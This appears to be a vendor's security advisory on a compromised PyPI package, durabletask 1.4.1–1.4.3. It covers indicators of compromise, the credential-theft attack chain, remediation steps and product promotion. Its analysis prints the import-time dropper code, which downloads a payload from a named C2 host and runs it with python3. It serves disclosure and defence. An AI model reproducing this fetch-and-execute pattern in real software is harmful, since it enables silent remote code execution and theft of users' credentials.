durabletaskPyPI
Malicious code in durabletask (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
1.4.1, 1.4.2, and 1.4.3 of durabletask were compromised via a PyPI maintainer account takeover. All three malicious versions were published on 2026-05-19 within a 35-minute window (16:19–16:54 UTC). Pin to <=1.4.0.
Attack chain
- Stage 1 — Import-time dropper: on import, the package fetches a second-stage payload
rope.pyzfromcheck.git-service.com(160.119.64.3). The TLS certificate for this C2 was issued on 2026-05-16, indicating ~3 days of pre-attack staging. - Stage 2 — Credential-theft framework:
- AWS / Azure / GCP IMDS interrogation and Secrets Manager dumps
- Kubernetes lateral movement via in-cluster service-account tokens
- HashiCorp Vault token extraction
- Harvesting from 85 known filesystem credential paths
- Brute-forcing of local password manager vaults
- Exfiltration: stolen data is encrypted and shipped to the primary C2, with a dead-drop fallback that pushes encrypted blobs as GitHub commits (FIRESCALE-style egress).
- Persistence: systemd unit
pgsql-monitor.service. - Destructive payload: a geotargeted wiper activates on hosts identified as being located in Israel or Iran.
Indicators of compromise
- C2 (primary):
check.git-service.com—160.119.64.3 - C2 (secondary):
t.m-kosche.com—185.95.159.32 - Dropped payload:
rope.pyz - Persistence unit:
pgsql-monitor.service
Recommended actions
- Pin
durabletaskto<=1.4.0. - Block both C2 domains at network egress.
- Treat any Linux system that imported 1.4.1 / 1.4.2 / 1.4.3 as fully compromised — rotate all reachable secrets and rebuild affected hosts.
On every import durabletask, the package's top-level __init__.py (lines 8-11) calls urllib.request.urlretrieve('https://check.git-service.com/rope.pyz', '/tmp/managed.pyz') and then subprocess.Popen(['python3', '/tmp/managed.pyz'], start_new_session=True) on Linux. The fetched zipapp is executed with no hash or signature verification, in a detached session. The destination check.git-service.com is a generic-git-service lookalike domain unrelated to the legitimate publisher of durabletask (Microsoft / microsoft/durabletask-python on github.com). The trigger is module import — not pip install — so install-phase sandboxes (pip download, pip wheel, build isolation) never observe the network activity; the dropper fires when the package is loaded in CI, production, or a developer's interpreter. The pattern (plaintext additive trailing block in __init__.py, Linux platform gate, .pyz staged to /tmp/ and handed to python3, lookalike git-<project>.com-style C2) matches a known import-time dropper campaign and is structurally indistinguishable from a stolen-publish-credential compromise of a legitimate package.
Versions 1.4.1, 1.4.2, 1.4.3 were compromised.
During import of compromised versions, the malicious code is downloaded and executed. It exfiltrates all kinds of credentials and sensitive files, including data from secret and password managers, SSH keys, configuration files. Code tries to achieve a persistence via systemd unit.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-05-compr-durabletask
Reasons (based on the campaign):
-
files-exfiltration
-
exfiltration-env-variables
-
exfiltration-ssh-keys
-
exfiltration-cloud-tokens
-
Downloads and executes a remote malicious script.
-
exfiltration-credentials
-
persistence
-
compromised-package
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for durabletask (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging durabletask across your stack and pipelines.
If you installed it — respond
durabletask is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If durabletask was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks durabletask before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · analyst
- SafeDep · finder
Detect & block this
O3 blocks durabletask-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.